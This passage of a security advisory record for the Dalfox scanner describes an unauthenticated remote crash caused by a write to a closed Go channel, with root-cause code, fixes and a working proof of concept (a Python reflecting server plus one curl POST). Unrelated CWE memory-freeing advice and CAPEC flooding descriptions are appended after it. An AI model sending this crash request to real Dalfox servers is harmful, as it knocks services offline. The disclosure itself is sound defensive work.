410-437\nfor i := 0; i \u003c concurrency; i++ {\n wgg.Add(1)\n go func() {\n processParams(target, paramsQue, results, options, rl, miningCheckerLine, pLog)\n wgg.Done()\n }()\n}\n// ... feed paramsQue ...\nclose(paramsQue)\nwgg.Wait()\nclose(results) // \u2190 line 438: results is now closed; consumer goroutine exits\n```\n\n**Second stage** (POST-body parameters in `dp`):\n\n```go\n// lines 440-448\nvar wggg sync.WaitGroup\nparamsDataQue := make(chan string, concurrency)\nfor j := 0; j \u003c concurrency; j++ {\n wggg.Add(1)\n go func() {\n processParams(target, paramsDataQue, results, options, rl, miningCheckerLine, pLog)\n // ^^^^^^^ \u2014 same closed channel\n wggg.Done()\n }()\n}\n```\n\nWhen a second-stage worker finds a reflected parameter, `processParams` sends to the closed channel:\n\n```go\n// pkg/scanning/parameterAnalysis.go:299\nresults \u003c- paramResult // panic: send on closed channel\n```\n\nA Go runtime panic in a goroutine without a `recover` terminates the entire program. In server mode, this kills the dalfox API server process.\n\n### Trigger Conditions Are Both Attacker-Controlled\n\n**Condition 1 \u2014 `dp` is non-empty**: `dp` (the POST-body parameter map) is populated in `addParamsFromWordlist` \u2192 `setP` whenever `options.Data != \"\"`:\n\n```go\n// parameterAnalysis.go:41-45\nif options.Data != \"\" {\n if dp.Get(name) == \"\" {\n dp.Set(name, \"\")\n }\n}\n```\n\nThe attacker sets `\"data\": \"q=test\"` in the JSON body, which propagates through `Initialize` (`lib/func.go:106`). With `\"mining-dict\": true`, the entire GF-XSS wordlist (hundreds of parameters) flows into `dp`, ensuring the second stage has ample work.\n\n**Condition 2 \u2014 a parameter is reflected**: `processParams` sends to `results` only when `vrs` (verified reflection) is true (line 252 \u2192 line 299). The attacker controls the target URL \u2014 they point it at a server they operate that reflects any query parameter, guaranteeing `vrs = true` on the first matching entry from the wordlist.\n\n### PR #917 Fixed Different Bugs\n\nCommit `8a424d1` addressed:\n1. Data race: concurrent `append(paramResult.Chars, char)` with no mutex \u2192 added `charsMu sync.Mutex`\n2. Nil pointer: `resp.Header` accessed when `resp == nil` \u2192 added `\u0026\u0026 resp != nil` guard\n\nNeither change touches the channel lifecycle in `ParameterAnalysis`. The closed-channel panic is independent and remains unpatched.\n\n## Proof of Concept\n\n```bash\n# Step 1 \u2014 Attacker-controlled reflective server\npython3 - \u003c\u003c\u0027PY\u0027\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom urllib.parse import urlparse, parse_qs\nclass H(BaseHTTPRequestHandler):\n def _h(self):\n qs = parse_qs(urlparse(self.path).query)\n n = int(self.headers.get(\u0027Content-Length\u0027, \u00270\u0027))\n body = self.rfile.read(n).decode() if n else \u0027\u0027\n bq = parse_qs(body)\n v = qs.get(\u0027q\u0027, [\u0027\u0027])[0] or bq.get(\u0027q\u0027, [\u0027\u0027])[0]\n out = f\u0027\u003chtml\u003e\u003cbody\u003e{v}\u003c/body\u003e\u003c/html\u003e\u0027.encode()\n self.send_response(200)\n self.send_header(\u0027Content-Type\u0027, \u0027text/html\u0027)\n self.send_header(\u0027Content-Length\u0027, str(len(out)))\n self.end_headers()\n self.wfile.write(out)\n def do_GET(self): self._h()\n def do_POST(self): self._h()\n def log_message(self, *a): pass\nHTTPServer((\u0027127.0.0.1\u0027, 18083), H).serve_forever()\nPY\n\n# Step 2 \u2014 Start dalfox REST server (default: no API key)\ngo run . server --host 127.0.0.1 --port 16664 --type rest\n\n# Step 3 \u2014 Single unauthenticated request terminates the server process\ncurl -s -X POST http://127.0.0.1:16664/scan \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\n \"url\": \"http://127.0.0.1:18083/?q=test\",\n \"options\": {\n \"data\": \"q=test\",\n \"mining-dict\": true,\n \"use-headless\": false,\n \"worker\": 1\n }\n }\u0027\n\n# Expected: dalfox process exits immediately with:\n# goroutine N [running]:\n# panic: send on closed channel\n# pkg/scanning/parameterAnalysis.go:299 +0x...\n\n# Step 4 \u2014 Verify server is down\ncurl -s http://127.0.0.1:16664/health\n# Expected: connection refused\n```\n\nNo `X-API-KEY` header is required. The reflective server is attacker-controlled and guarantees the `vrs = true` condition that triggers the channel write.\n\n## Impact\n\n- **Complete server process crash** on a single unauthenticated POST request \u2014 no login, no API key, no special permissions required.\n- All in-flight scans are lost without results.\n- The server requires a manual restart; under automated process managers (systemd, Docker `--restart=always`) repeated triggering can create a denial-of-service loop.\n- The attack requires only network access to port 6664 and a reflective HTTP server reachable by the dalfox instance \u2014 both attacker-controlled conditions.\n\n## Recommended Remediation\n\n### Option 1: Allocate a fresh `results` channel for the second stage (preferred)\n\nThe simplest and most direct fix: give each stage its own channel and consumer. The second stage should not reuse a channel that was created and closed for the first stage.\n\n```go\n// pkg/scanning/parameterAnalysis.go \u2014 replace the second stage block:\n\nvar wggg sync.WaitGroup\nparamsDataQue := make(chan string, concurrency)\nresults2 := make(chan model.ParamResult, concurrency) // fresh channel\n\ngo func() {\n for result := range results2 {\n mutex.Lock()\n params[result.Name] = result\n mutex.Unlock()\n }\n}()\n\nfor j := 0; j \u003c concurrency; j++ {\n wggg.Add(1)\n go func() {\n processParams(target, paramsDataQue, results2, options, rl, miningCheckerLine, pLog)\n wggg.Done()\n }()\n}\n\n// ... feed paramsDataQue ...\nclose(paramsDataQue)\nwggg.Wait()\nclose(results2) // close after all writers are done\n```\n\n### Option 2: Merge both parameter maps before the single worker stage\n\nProcess `p` and `dp` entries through a single shared `paramsQue` and `results`, eliminating the two-stage design:\n\n```go\n// Before the worker loop, merge dp into p (or into a unified queue):\nfor k := range dp {\n // feed to the same paramsQue along with p entries\n}\n// Then run a single close(paramsQue) \u2192 wgg.Wait() \u2192 close(results)\n```\n\nThis is a more invasive refactor but removes the structural root cause. The current two-stage design is the fundamental source of the ordering bug.\n\n### Option 3: Add a `recover` in processParams goroutines (stopgap only)\n\nCatching the panic prevents the process from crashing but does not fix the lost results or the channel invariant violation. Recommended only as a temporary defensive measure while the channel lifecycle is corrected:\n\n```go\ngo func() {\n defer func() {\n if r := recover(); r != nil {\n printing.DalLog(\"ERROR\", fmt.Sprintf(\"processParams panic recovered: %v\", r), options)\n }\n wggg.Done()\n }()\n processParams(target, paramsDataQue, results, options, rl, miningCheckerLine, pLog)\n}()\n```\n\nOption 1 is the recommended primary fix. Option 3 should be combined with Option 1, not used as a substitute.\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
"id": "GHSA-2g4x-fq3j-cgq4",
"modified": "2026-06-08T20:12:46Z",
"published": "2026-05-12T15:08:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/hahwul/dalfox/security/advisories/GHSA-2g4x-fq3j-cgq4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45090"
},
{
"type": "PACKAGE",
"url": "https://github.com/hahwul/dalfox"
},
{
"type": "WEB",
"url": "https://github.com/hahwul/dalfox/releases/tag/v2.13.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Dalfox has an Unauthenticated Remote DoS via Closed-Channel Write in `ParameterAnalysis` (server mode)"
}
Mitigation MIT-3
Strategy: Language Selection
- Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, languages such as Java, Ruby, and Lisp perform automatic garbage collection that releases memory for objects that have been deallocated.
Mitigation
It is good practice to be responsible for freeing all resources you allocate and to be consistent with how and where you free memory in a function. If you allocate memory that you intend to free upon completion of the function, you must be sure to free the memory at all exit points for that function including error conditions.
Mitigation
Memory should be allocated/freed using matching functions such as malloc/free, new/delete, and new[]/delete[].
Mitigation
When releasing a complex object or structure, ensure that you properly dispose of all of its member components, not just the object itself.
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-131: Resource Leak Exposure
An adversary utilizes a resource leak on the target to deplete the quantity of the resource available to service legitimate requests.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-666: BlueSmacking
An adversary uses Bluetooth flooding to transfer large packets to Bluetooth enabled devices over the L2CAP protocol with the goal of creating a DoS. This attack must be carried out within close proximity to a Bluetooth enabled device.